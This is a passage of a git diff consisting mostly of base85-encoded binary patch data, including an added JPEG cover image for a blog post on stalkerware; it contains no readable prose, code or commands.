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 FWo4V~ohbkS literal 0 HcmV?d00001 diff --git a/src/static/img/posts/fuckstalkerware-3/cover.jpg b/src/static/img/posts/fuckstalkerware-3/cover.jpg new file mode 100644 index 0000000000000000000000000000000000000000..3a6475a39d96d292128889ac1eac4a2f3c93ad6f GIT binary patch literal 81918 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